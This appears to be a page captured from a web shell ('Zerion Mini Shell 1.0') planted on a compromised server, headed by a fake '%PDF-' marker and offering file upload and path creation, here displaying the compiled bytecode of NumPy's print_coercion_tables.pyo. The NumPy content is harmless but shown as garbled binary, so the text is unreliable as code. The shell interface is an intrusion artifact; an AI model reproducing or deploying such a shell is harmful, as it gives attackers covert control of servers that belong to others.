%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/print_coercion_tables.pyo

�
�9Zc@`scdZddlmZmZmZddlZdefd��YZd�Z	e
d�Zed�e	ej
d	�e�ed
�e�ed�eej
d	dde
�e�ed�eej
d	dd
e
�e�ed�eej
d	dde�e�ed�eej
d	dd
e�e�ed�eej
d	dde
e�dS(s:Prints type-coercion tables for the built-in NumPy types

i(tdivisiontabsolute_importtprint_functionNt
GenericObjectcB`s2eZd�Zd�Zd�Zejd�ZRS(cC`s
||_dS(N(tv(tselfR((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/print_coercion_tables.pyt__init__
scC`s|S(N((Rtother((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/print_coercion_tables.pyt__add__
scC`s|S(N((RR((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/print_coercion_tables.pyt__radd__stO(t__name__t
__module__RRR	tnptdtype(((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/print_coercion_tables.pyR	s			cC`s�tddd�x|D]}t|dd�qWt�xX|D]P}t|dd�x0|D](}tttj||��dd�q\Wt�q?WdS(NtXtendt (tprinttintR
tcan_cast(tntypestchartrowtcol((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/print_coercion_tables.pytprint_cancast_tables


&c
C`s�tddd�x|D]}t|dd�qWt�x�|D]~}|dkrZt}ntj|�}t|dd�x:|D]2}|dkr�t}	ntj|�}	y�|r�tj||�gd|�}
n||�}
|	|�}|rtj|
j|j�j}nKtj|
|�}t	|tj
�rC|jj}ntjt|��j}WnCtk
rud}n-t
k
r�d}ntk
r�d}nXt|dd�q�Wt�q?WdS(	Nt+RRR
Rt!t@t#(RRR
t
obj2sctypetarrayt
promote_typesRRtaddt
isinstancetndarrayttypet
ValueErrort
OverflowErrort	TypeError(
Rtinputfirstvaluetinputsecondvaluet
firstarraytuse_promote_typesRRtrowtypeRtcoltypetrowvaluetcolvaluetvalue((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/print_coercion_tables.pytprint_coercion_table s@

	
	!
	
	

scan casttAllsJIn these tables, ValueError is '!', OverflowError is '@', TypeError is '#'sscalar + scalarsscalar + neg scalari����sarray + scalarsarray + neg scalarR (t__doc__t
__future__RRRtnumpyR
tobjectRRtFalseR1Rt	typecodestTrue(((sV/opt/alt/python27/lib64/python2.7/site-packages/numpy/testing/print_coercion_tables.pyt<module>s0	(








Zerion Mini Shell 1.0